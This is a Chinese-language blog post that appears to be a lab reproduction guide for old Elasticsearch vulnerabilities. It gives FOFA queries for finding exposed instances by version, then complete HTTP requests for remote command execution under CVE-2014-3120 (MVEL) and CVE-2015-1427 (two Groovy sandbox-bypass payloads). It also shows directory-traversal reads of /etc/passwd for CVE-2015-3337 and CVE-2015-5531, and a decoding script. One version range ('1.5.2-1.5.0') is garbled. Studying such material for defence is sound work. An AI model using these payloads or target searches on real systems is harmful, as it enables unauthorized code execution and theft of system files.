Elasticsearch中间件特征及漏洞复现
ElasticSearch 是一个分布式的RESTful搜索和分析引擎。
Web特征
此应用无前端页面,只是一个api接口,其默认端口为:9200,web默认特征是ES 标志性返回字段:"tagline": "You Know, for Search",以及一些版本信息,且默认没有身份验证。
fofa语法:port="9200" && body="You Know, for Search"
漏洞复现
CVE-2014-3120(RCE)
ElasticSearch 1.2版本之前默认启用了动态脚本功能,攻击者可以通过_search请求的source参数执行任意MVEL表达式和Java代码。MVEL是一种基于Java的动态脚本语言,下面是一个使用MVEL执行系统命令的示例代码:
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
fofa语法:port="9200" && body="You Know, for Search" && body="1.1.1"
影响版本:
jre版本:openjdk:8-jre
elasticsearch版本:v1.1.1
复现示例
此漏洞利用需要索引中至少存在一个文档。首先,创建一个文档:
POST /website/blog/ HTTP/1.1
Host: target-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "vulhub"
}
然后,发送包含恶意MVEL脚本的请求来执行任意命令,这里执行的是id:
POST /_search?pretty HTTP/1.1
Host: target-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
执行效果:
CVE-2015-1427(Groovy 沙盒绕过与RCE)
ElasticSearch修复了CVE-2014-3120后将动态语言改为了Groovy,并增加了沙盒保护。但动态语言执行功能仍然默认启用,因此此漏洞包含沙盒绕过和Groovy代码执行漏洞两个方面,即:
- Lupin的方法:使用Java反射绕过沙盒
- Tang3的方法:直接使用Groovy语言特性执行命令,无需使用Java
所以有两个不同的POC:
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText() //Java沙盒绕过方法
def command='id';def res=command.execute().text;res //Groovy直接命令执行方法
fofa语句:port="9200" && body="You Know, for Search" && body="1.4.7"
影响版本:
jre版本:openjdk:8-jre
elasticsearch版本:1.3.0 至 1.3.7(包含边界版本)、1.4.0 至 1.4.2(包含边界版本)
复现示例
由于查询时需要索引中至少有一条数据,首先发送以下请求添加数据:
POST /website/blog/ HTTP/1.1
Host: target-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "test"
}
然后发送包含payload的请求来执行任意命令,payload1:
POST /_search?pretty HTTP/1.1
Host: target-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
payload2:
{"size": 1,"script_fields": {"command": {"script": "def command='id';def res=command.execute().text;res","lang": "groovy"}}}
CVE-2015-3337(插件导致任意文件读取)
应用的插件功能中存在一个目录穿越漏洞,攻击者可以利用该漏洞读取系统上的任意文件。在安装了具有"site"功能的插件后,攻击者可以通过在插件目录路径中使用../来遍历目录树,从而实现任意文件读取。未安装任何插件的ElasticSearch不受此漏洞影响。
fofa语句:port="9200" && body="You Know, for Search" && body="1.4.4"
影响版本:
- 1.3.x 系列:1.3.0 ~ 1.3.8(包含边界版本,1.3.9 及以上修复)
- 1.4.x 系列:1.4.0 ~ 1.4.4(包含边界版本,1.4.5 及以上修复)
复现示例
通过bp抓一个包进行修改,访问此路径即可读取任意文件:
http://target-ip:9200/_plugin/head/../../../../../../../../../etc/passwd
CVE-2015-5531(快照和恢复功能目录穿越)
在1.6.0及更早版本中,存在一个目录穿越漏洞,攻击者可以利用该漏洞读取系统上的任意文件,根据目标的具体版本,该漏洞的利用条件也存在不同:在1.5.1及更早版本中,无需任何配置即可触发该漏洞;在之后的版本中,必须在elasticsearch.yml配置文件中设置path.repo参数。此配置指定一个必须可写的目录,作为备份仓库的根位置。如果未配置此参数,快照和恢复功能将默认禁用。
fofa语句:port="9200" && body="You Know, for Search" && body="1.6.0"
影响范围:
- 1.0.x-1.4.x 分支:全版本受影响,无官方更新
- 1.5.x 分支:1.5.0-1.5.1 版本(目标无需配置直接读取文件内容),1.5.2-1.5.0 版本(目标需配置 path.repo)
- 1.6.x 分支:1.6.0 及以下版本(目标需配置 path.repo)
复现示例
1.创建仓库
PUT /_snapshot/test HTTP/1.1
Host: target-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108
{
"type": "fs",
"settings": {
"location": "/usr/share/elasticsearch/repo/test"
}
}
2.创建快照
PUT /_snapshot/test2 HTTP/1.1
Host: target-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108
{
"type": "fs",
"settings": {
"location": "/usr/share/elasticsearch/repo/test/snapshot-backdata"
}
}
3.利用目录穿越读取文件
发送请求使用目录穿越来读取任意文件。例如,要读取/etc/passwd文件:
http://target-ip:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
4.解码
文件内容将包含在错误信息中(经过编码)。解码后即可获得文件内容:
PS:此编码是通用ASCII,可以使用Cyberchef的From Decimal模块进行解码,或者使用下面的脚本:
# 把下面的数字列表替换成你的完整数字串(去掉逗号,用逗号分隔成列表) ascii_codes = [114, 111, 111, 116, 58, 120, 58, 48, ...] # 解码并输出文本 decoded_text = ''.join(chr(code) for code in ascii_codes) print(decoded_text) # 可选:保存到文件(比如 decoded_etc_passwd.txt) with open("decoded_etc_passwd.txt", "w") as f: f.write(decoded_text)

浙公网安备 33010602011771号